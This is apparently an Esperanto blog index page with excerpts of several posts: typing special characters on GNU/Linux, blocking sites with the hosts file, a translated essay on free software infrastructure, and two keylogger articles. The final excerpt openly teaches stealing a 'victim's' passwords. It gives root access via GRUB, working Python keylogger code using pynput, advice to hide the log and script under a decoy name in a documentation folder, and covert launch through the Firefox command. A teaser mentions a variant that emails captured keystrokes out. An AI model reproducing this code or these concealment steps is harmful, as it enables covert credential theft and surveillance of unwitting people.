Pro via laboro aŭ io ajn vi devas skribi kelkfoje signojn, kiujn vi ne trovas pentritaj en la klavaro (¹, «, —, ä, ĉ, ß, ŭ, ktp.), aŭ vi havas rompitan klavon. Kion vi faras? Legu plu el Skribi ĉiun ajn signon per la klavaro en GNU/Linukso, rapide
Bloki retejojn: hosts-dosiero
Por bloki retejojn vi povas uzi retumilan kromprogramon (kiel
Block Site), prokurilan servilon
(kiel Squid), sed
ankaŭ estas la opcio redakti la hosts-dosieron, metodo kiu konsumas
malmultege da ĉefmemoro kaj, malkiel la retumila kromprogramo, funkcios
por ĉiu retumilo aŭ programo, Legu plu el Bloki retejojn: hosts-dosiero
Gravas, ke liberaj programoj uzu liberan infrastrukturon
Ĉi tiu artikolo estas traduko de la artikolo «It is important for free software to use free software infrastructure» publikigita de Drew Devault sub la CC BY-SA 2.0-permesilo.
Averto: mi fondis projekton kaj firmaon centritan sur libera infrastrukturo. Mi elektas ne nomi ilin en ĉi tiu afiŝo kaj mi nur rekomendos solvojn, pri kiuj mi ne havas personan intereson.
La projektoj de liberaj programoj bezonas infrastrukturon: lokon por gastigi la kodon, por faciligi aferojn kiel la kontroladon de kodo, subtenon al la fina uzanto, sekvadon de cimoj, merkatiko, ktp. Kutima ekzemplo de ĉi tio estas la «forĝeja» platformo: infrastrukturo, kiu anoncas sin kiel universalan vendejon por multaj el la necesoj de liberaj projektoj en unu loko, kiel la koda gastigado kaj kontrolado, cimsekvado, diskutoj kaj tiel plu. Multaj projektoj ankaŭ uzos kromajn platformojn por provizi aliajn specojn de infrastrukturo: babilejoj, diskutejoj, sociaj retejoj, ktp.
Multaj el ĉi tiuj bezonoj havas neliberajn solvojn disponeblajn. GitHub estas populara proprieta kodejo, kaj GitLab, la plej granda konkuranto de GitHub, estas parte nelibera. Kelkaj projektoj uzas Discord-on aŭ Slack-on por babilejoj, Reddit-on kiel diskutejon aŭ Twitter-on kaj Facebook-on por merkatikado, atingo kaj subteno; ĉiu ĉi tiuj estas neliberaj. Laŭ mia opinio, dependi de ĉi tiuj platformoj por provizi infrastrukturon al via libera projekto estas eraro.
Kiam via libera projekto elektas uzi neliberan platformon, vi donas al ĝi oficialan konfidan voĉdonon nome de via projekto. Per aliaj vortoj, vi pruntas iom de la kredindeco kaj legitimeco de via projekto al la platformoj, kiujn vi elektas. Ĉi tiuj platformoj estas difinitaj per retefikoj, kaj via elekto estas investo en tiu reto. Mi dubus pri ĉi tiu investo mem kaj pri la saĝeco oferi al ĉi tiu platformoj vian konfidon kaj legitimecon, sed ekzistas ankaŭ pli maltrankviliga sekvo de ĉi tiu elekto: investo en nelibera platformo estas ankaŭ manko de investo en liberaj alternativoj.
Denove, la retefikoj estas la ĉefa kialo de la sukceso de ĉi tiuj platformoj. Grandaj komercaj platformoj havas multajn avantaĝojn tiurilate: grandajn merkatikajn buĝetojn, multe da kapitalo de investistoj kaj la avantaĝon de la posedo. Ju pli granda estu la posedanta platformo, des pli malfacila iĝas la tasko konkuri kun ĝi. Komparu ĉi tion kun liberaj platformoj, kiuj kutime ne havas la helpon de grandaj kvantoj da investoj aŭ grandajn merkatikajn buĝetojn. Krome, estas pli verŝajne, ke firmaoj fie agu por sekurigi sian pozicion ol projektoj de liberaj programoj. Se viaj propraj liberaj projektoj konkuras kun proprietaj komercaj opcioj, vi devas tre bone koni ĉi tiujn defiojn.
La liberaj platformoj havas esencan malavantaĝon, kaj via fido, aŭ manko de fido, en ili estas tre grava. GitHub ne maltrankviliĝos, se via projekto elektas gastigi sian kodon aliloke, sed elekti Codeberg-on, ekzemple, signifas multe por ili. Fakte via elekto malproporcie gravas al la liberaj platformoj: elekti GitHub-on doloras Codeberg-on multe pli ol elekti Codeberg-on doloras GitHub-on. Kaj kial devus projekto elekti uzi vian oferon antaŭ la proprietaj alternativoj, se vi ne donis al ili la saman ĝentilaĵon? Solidareco inter liberaj projektoj gravas por altigi la ekosistemon kiel tuton.
Legu plu el Gravas, ke liberaj programoj uzu liberan infrastrukturon
Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi
En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.
Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝiBaza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn
Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.
Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.
Unue, oni devas instali la pynput-bibliotekon per...
sudo pip install pynput
Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:
#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging
log_dir = "/usr/share/doc/python3/"
logging.basicConfig(filename=(log_dir + "log"), \
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la
dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas
konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon
compile_docs.py aŭ iun similan, por ne altiri la atenton.
Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti,
ke ri ne rimarku tion, kion ni faras.
Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Legu plu el Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn